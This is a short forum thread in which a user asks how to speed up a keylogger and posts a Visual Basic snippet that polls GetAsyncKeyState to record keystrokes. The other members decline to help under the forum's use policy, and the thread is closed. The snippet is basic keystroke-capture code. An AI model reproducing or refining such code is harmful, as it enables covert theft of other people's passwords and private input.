KeyLogger

[Daveeed]

Hi guys! How should I make a fast keylogger? e.g I've tried this method, but it seems like too slow, you know why. A fast tiping person would defeat it Any suggestions?? Thank you!!

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
For i = 1 To 255

            Dim intKey = 0
            intKey = GetAsyncKeyState(i)

            If intKey = -32767 Then

                RichTextBox1.Text = RichTextBox1.Text + Chr(i)

            End If

        Next i

[TysonLPrice]

Very few members here will answer a post like this. It violates the Acceptable Use Policy of this forum.

[kpmc]

I reckon zero members would assist you

[FunkyDexter]

Indeed. Thread closed.